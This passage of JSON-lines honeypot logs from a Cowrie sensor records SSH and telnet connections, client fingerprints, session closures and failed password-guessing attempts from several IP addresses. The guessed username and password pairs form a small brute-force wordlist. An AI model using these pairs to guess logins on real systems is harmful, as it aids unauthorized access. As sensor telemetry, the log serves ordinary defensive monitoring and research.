0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:47.697432Z","src_ip":"45.156.87.204","session":"bf7c5d9fa8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:48.132892Z","src_ip":"45.156.87.204","session":"bf7c5d9fa8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:49.218394Z","src_ip":"45.156.87.204","session":"bf7c5d9fa8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.80149865150452,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:51.108027Z","src_ip":"152.42.224.71","session":"e964d2408a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58146,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2efdefc6922","protocol":"ssh","message":"New connection: 45.156.87.204:58146 (159.203.135.109:22) [session: d2efdefc6922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:51.232595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:51.241046Z","src_ip":"45.156.87.204","session":"d2efdefc6922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:51.324529Z","src_ip":"45.156.87.204","session":"d2efdefc6922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:51.570694Z","src_ip":"45.156.87.204","session":"d2efdefc6922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:52.655830Z","src_ip":"45.156.87.204","session":"d2efdefc6922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42666,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d6668c6b665","protocol":"telnet","message":"New connection: 152.42.224.71:42666 (10.17.0.5:23) [session: 8d6668c6b665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:53.491868Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59630,"dst_ip":"159.203.135.109","dst_port":22,"session":"1232ec586002","protocol":"ssh","message":"New connection: 45.156.87.204:59630 (159.203.135.109:22) [session: 1232ec586002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:54.981293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:54.997633Z","src_ip":"45.156.87.204","session":"1232ec586002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:55.074708Z","src_ip":"45.156.87.204","session":"1232ec586002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:55.401832Z","src_ip":"45.156.87.204","session":"1232ec586002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf57fc2ae28","protocol":"telnet","message":"New connection: 152.42.224.71:53912 (10.17.0.5:23) [session: fcf57fc2ae28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:56.370032Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:56.488575Z","src_ip":"45.156.87.204","session":"1232ec586002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59654,"dst_ip":"159.203.135.109","dst_port":22,"session":"491fb342d475","protocol":"ssh","message":"New connection: 45.156.87.204:59654 (159.203.135.109:22) [session: 491fb342d475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:58.610423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:58.615775Z","src_ip":"45.156.87.204","session":"491fb342d475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:58.702744Z","src_ip":"45.156.87.204","session":"491fb342d475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:58.950433Z","src_ip":"45.156.87.204","session":"491fb342d475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:00.036524Z","src_ip":"45.156.87.204","session":"491fb342d475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":56125,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f890c210b1","protocol":"ssh","message":"New connection: 2.57.121.112:56125 (10.17.0.5:22) [session: b3f890c210b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.328559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.333869Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59664,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ddffd07733","protocol":"ssh","message":"New connection: 45.156.87.204:59664 (159.203.135.109:22) [session: 17ddffd07733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.380629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.491501Z","src_ip":"45.156.87.204","session":"17ddffd07733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.499583Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.582141Z","src_ip":"45.156.87.204","session":"17ddffd07733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.861173Z","src_ip":"45.156.87.204","session":"17ddffd07733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel22","message":"login attempt [admin/angel22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:02.965650Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:03.946809Z","src_ip":"45.156.87.204","session":"17ddffd07733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel01","message":"login attempt [admin/angel01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.070033Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00103831291199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.191853Z","src_ip":"152.42.224.71","session":"a9c34a3ac5fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53928,"dst_ip":"10.17.0.5","dst_port":23,"session":"e89e81c737db","protocol":"telnet","message":"New connection: 152.42.224.71:53928 (10.17.0.5:23) [session: e89e81c737db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.364187Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5119,"dst_ip":"10.17.0.5","dst_port":22,"session":"1809e7dfc1f1","protocol":"ssh","message":"New connection: 2.57.121.25:5119 (10.17.0.5:22) [session: 1809e7dfc1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.573924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.579301Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.688527Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.473096132278442,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:04.842990Z","src_ip":"152.42.224.71","session":"fcf57fc2ae28","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amsterdam1","message":"login attempt [admin/amsterdam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:05.174581Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091979","message":"login attempt [user/23091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:05.183321Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52884,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bbce59b8c06","protocol":"ssh","message":"New connection: 45.156.87.204:52884 (159.203.135.109:22) [session: 8bbce59b8c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:05.957932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:05.962799Z","src_ip":"45.156.87.204","session":"8bbce59b8c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:06.047494Z","src_ip":"45.156.87.204","session":"8bbce59b8c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amina","message":"login attempt [admin/amina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:06.279214Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230590","message":"login attempt [user/230590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:06.291432Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:06.296577Z","src_ip":"45.156.87.204","session":"8bbce59b8c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amekpass","message":"login attempt [admin/amekpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:07.384289Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:07.389922Z","src_ip":"45.156.87.204","session":"8bbce59b8c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230586","message":"login attempt [user/230586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:07.399463Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:08.490062Z","src_ip":"2.57.121.112","session":"b3f890c210b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23051993","message":"login attempt [user/23051993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:08.508612Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.480239391326904,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.064035Z","src_ip":"152.42.224.71","session":"df971ce4c914","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"221177","message":"login attempt [user/221177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.627707Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
